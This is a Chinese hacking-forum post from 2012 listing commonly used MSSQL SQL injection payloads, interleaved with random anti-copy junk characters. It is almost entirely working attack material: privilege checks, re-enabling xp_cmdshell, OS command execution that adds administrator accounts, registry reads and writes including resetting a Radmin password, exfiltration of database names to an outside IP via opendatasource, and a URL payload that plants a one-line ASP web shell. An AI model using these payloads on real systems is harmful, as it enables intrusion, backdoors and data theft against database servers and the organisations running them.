找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2270|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
$ D/ W: W/ D: l0 n# f) i: p0 wand 1=(Select IS_MEMBER('db_owner'))" N/ f) t+ |0 e& ^* I
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
. L4 Y2 K- M: U1 Q
& i8 {' F; \& m6 o* _//检测是否有读取某数据库的权限
! x0 q) G0 k8 b6 Zand 1= (Select HAS_DBACCESS('master'))8 P( x' _; t! t0 K
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --3 Q: s, G3 h' l  O" F( h* A) s' l
) _% I0 z3 T: [1 V3 D, o0 X
7 T# g' W) r9 ~+ Z4 m
数字类型
% X. K3 p% j4 S: }/ Gand char(124)%2Buser%2Bchar(124)=0( Q; |3 \$ ^8 |  R. S* e1 {

2 B8 W' i. u6 Q: c& }$ t字符类型
' w, d9 J: I# t4 k* Z& e' and char(124)%2Buser%2Bchar(124)=0 and ''=') B0 {2 H# W: s
( i& Z+ c3 O5 r9 c  j- ]
搜索类型- _& }5 x4 i0 P+ Y( r& K
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
% j6 ?& \$ G. B. {( |% \2 v) {! z  p) A' o
爆用户名' s. ~6 f) z3 c' j2 Q
and user>0
, Z! F* o7 ?3 j' g& Z' and user>0 and ''='
- X' R" X( \! G2 P) p2 B
8 y  z( s& c+ b" c& r7 ~6 l# Y检测是否为SA权限/ ?5 d( [9 f2 \" I
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 p: |' D1 }' \, ?: lAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --7 H3 V) }& O' W+ |
+ D  p* a; f8 h: v9 h3 g( [& r
检测是不是MSSQL数据库" L) t: Y. s; M. k
and exists (select * from sysobjects);--1 [. U( Q* ^6 z
, D" z. N& D4 P) X( K+ @: g
检测是否支持多行
: S5 t, |# c6 i;declare @d int;--
5 u/ l! \7 V; d% B/ [' [; V+ E; A) {7 _( i
恢复 xp_cmdshell
; W- T$ D( O+ m;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--( u% ]4 b/ `( B$ ?' H

) x8 q' ]5 a9 c: R! X( C
, Q7 J9 |, b1 n) M* u5 s2 zselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
, Z+ \, ~$ J9 ~: J3 l3 l, `0 a. K: K) E8 l* e6 E0 R
//-----------------------
1 Q  [* S( M4 w& V# f7 }) s//       执行命令
1 z9 K4 Y8 m1 c0 s* U% B//-----------------------: @, C7 W0 I1 ~# m: w/ C0 l; `
首先开启沙盘模式:+ w- X" P/ ?% W
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; y2 h4 w, @, r$ k: @3 A7 n
4 t! g- Y( w# j" l" ?然后利用jet.oledb执行系统命令
$ }2 B+ I8 ]% fselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). |$ F4 |/ O' S# }# k- Y& C
; V$ Q8 O) m+ ]1 _9 V3 h2 U% H7 p
执行命令
' S- |2 W4 R% X9 U! [3 b;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--: ?+ y/ ?8 B. \0 @6 B; j
4 {* T, T" q; y. m
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111', p( e* J! h" y

6 H6 X; a* }( j2 \& c# N判断xp_cmdshell扩展存储过程是否存在:
& L' T1 W* i9 }! Ehttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
) z. q6 e* ]' K; A' U2 B, R! `) F2 b! V- @
写注册表
1 ~9 S5 u4 |3 K. Mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; `6 P! R4 d1 u
8 N* P; N+ L: t3 p
REG_SZ: F: D+ s( J) Y" S2 {' Q3 k; i* O. l7 a0 k
1 N9 w5 Z! _2 {: V' h- e
读注册表
9 _5 p1 w+ S0 Z* i9 |6 D( B0 L7 Oexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
3 J- |; V# L, a9 r0 l
  m: I" f* \3 ]9 w读取目录内容' i9 ?+ F: o6 |9 {  U6 e  |
exec master..xp_dirtree 'c:\winnt\system32\',1,1$ u0 O0 F% n( j" [

7 N; O* q# T1 Z4 v) G+ ?1 E
0 t% ?1 i+ G5 W9 ^2 P8 ?* z数据库备份1 A# `/ {2 Z: {
backup database pubs to disk = 'c:\123.bak'# o0 I& {3 M: J4 n% d4 J

0 g0 L! D" E" b' J$ p//爆出长度
" \- b' Z, W+ {- S& _$ L3 gAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--, o0 R' b( J; _9 L9 G5 h( X5 O
9 Y3 ^2 G( J9 {9 s" |# q- d

5 I. h& S; o- _& a, l1 t
$ Z) W1 A+ p3 _- k* M更改sa口令方法:用sql综合利用工具连接后,执行命令:
% _/ N2 \5 _8 o$ D" a3 H! f. wexec sp_password NULL,'新密码','sa'
" }8 [) c. O2 T1 Y1 o
3 L+ Q( C+ ]) ]$ S4 j  N0 @4 A! g添加和删除一个SA权限的用户test:  e) v5 r* }1 V# V" {& b# X
exec master.dbo.sp_addlogin test,9530772
& P) R' }! n* Rexec master.dbo.sp_addsrvrolemember test,sysadmin
: K9 y  \. l3 q' B. s( f) ]2 M) ?- b
/ k* B. C! j' j' c. q删除扩展存储过过程xp_cmdshell的语句:
7 E7 s% m3 m2 u0 O$ s8 Bexec sp_dropextendedproc 'xp_cmdshell'$ i2 K. w. b) ]+ m1 ?6 E% @

5 V1 I+ G$ j9 P! k' j添加扩展存储过过程
8 @& c/ X! M( c3 sEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'# C; E: A$ r% o  g
GRANT exec On xp_proxiedadata TO public, Q  p4 a3 ?1 \. X5 o2 y8 L1 J* J

8 t) t0 \+ i/ i. n1 ?3 b  Q( j  ]5 ?. O6 D9 C/ B
停掉或激活某个服务。8 h/ h, n! {) d
3 }. {/ ?6 s! H8 Q' p* M# O
exec master..xp_servicecontrol 'stop','schedule'
6 B! p. k1 j1 ^; |& P1 Fexec master..xp_servicecontrol 'start','schedule'
7 Y9 {8 c5 {1 Z- W% [: d' V( l
! H; f- d9 o, d3 G& Cdbo.xp_subdirs
& W/ Z8 _; w/ F: V
& v& b* ?6 R( Q4 E' j. T只列某个目录下的子目录。
( H0 N# M' V( O+ ~+ uxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
) W: I5 }# L* N% D3 S" p
: P9 [  O# }. U% _  T* Rdbo.xp_makecab: T1 R4 f& v; I4 I5 k8 w. [

* O* @# P$ h1 I. [: C7 e6 w- t将目标多个档案压缩到某个目标档案之内。$ h4 M% K0 x# d6 `0 v$ R% Q# A
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
9 ^! |- ?; }  ]6 t4 e
, ^; I& D# M6 J2 L7 N+ Pdbo.xp_makecab
; l/ S: ]$ r  Y'c:\test.cab','mszip',1,
8 I+ M+ V5 W% l. q7 E" q'C:\Inetpub\wwwroot\SQLInject\login.asp',
$ i: k; S" s5 `4 T) x+ n, s4 R'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'0 o3 x* J1 d% S, @4 z/ }
: B" M$ M/ b& H2 h6 Z% Q
xp_terminate_process
  K% A3 @1 n8 }8 V6 r6 ]. H; J! O( g7 F  y$ i7 `
停掉某个执行中的程序,但赋予的参数是 Process ID。: ?1 z. A: i( Z
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
9 r4 B2 ]& O# c+ r7 \: d" R+ a6 h% G4 C! T/ O) P
xp_terminate_process 24847 E/ T4 ]- [6 i, s* V

$ C8 A( j; Q; K+ D  C7 q; l. [xp_unpackcab
) T! b/ f! s/ J+ R+ L" Y- `
7 s0 ~/ m2 ~8 T$ E解开压缩档。
; C/ H  M* }9 u9 \8 l
' k9 v5 F+ c7 |xp_unpackcab 'c:\test.cab','c:\temp',1
. v) T- E+ ~& D. x) B( Y5 v8 u& E1 t2 U) R' q3 I  G
1 D* T, n' M* T( x- R$ D3 C
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
4 V+ o7 @% Z5 v  k7 U/ m
1 g' E) x+ b- g7 m3 t5 c' tcreate database lcx;9 z8 y4 y0 ~3 m  V. o* l( q
Create TABLE ku(name nvarchar(256) null);$ n4 A8 r0 p& H7 [6 |3 Z6 A
Create TABLE biao(id int NULL,name nvarchar(256) null);8 i; k5 q4 ]) V5 D2 y$ c9 ?

5 T% g" Y" N# S! T- L& t. n/ k//得到数据库名+ u  t0 ^" C9 f, w8 W7 C  g
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases  x, W9 t5 i# O$ _& ~
: _5 e" |. D% T- r1 z3 |. m8 G
. D' i: `$ T! w0 }8 i& H! D: u2 F/ W
//在Master中创建表,看看权限怎样0 T( C  ]5 w% s' K& S" y
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--. D( R  z& D( W5 }/ E6 S# p

9 [& V9 S3 y4 Z% F  A7 I' A用 sp_makewebtask直接在web目录里写入一句话马:
$ ]% I3 k1 O0 Q  ?9 h) y& s3 ehttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--3 s7 d& D" k" u) t  p. O% q8 J1 N
! {4 O5 V6 W( K$ M( Q" E( r/ E( L
//更新表内容
) ^0 L. Y' V1 O2 D* i0 b9 f1 J- oUpdate films SET kind = 'Dramatic' Where id = 123
% c1 w6 A8 e2 ~8 I/ d
* R7 D. v0 m7 U//删除内容) z, s8 x" Y* u3 B, _
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表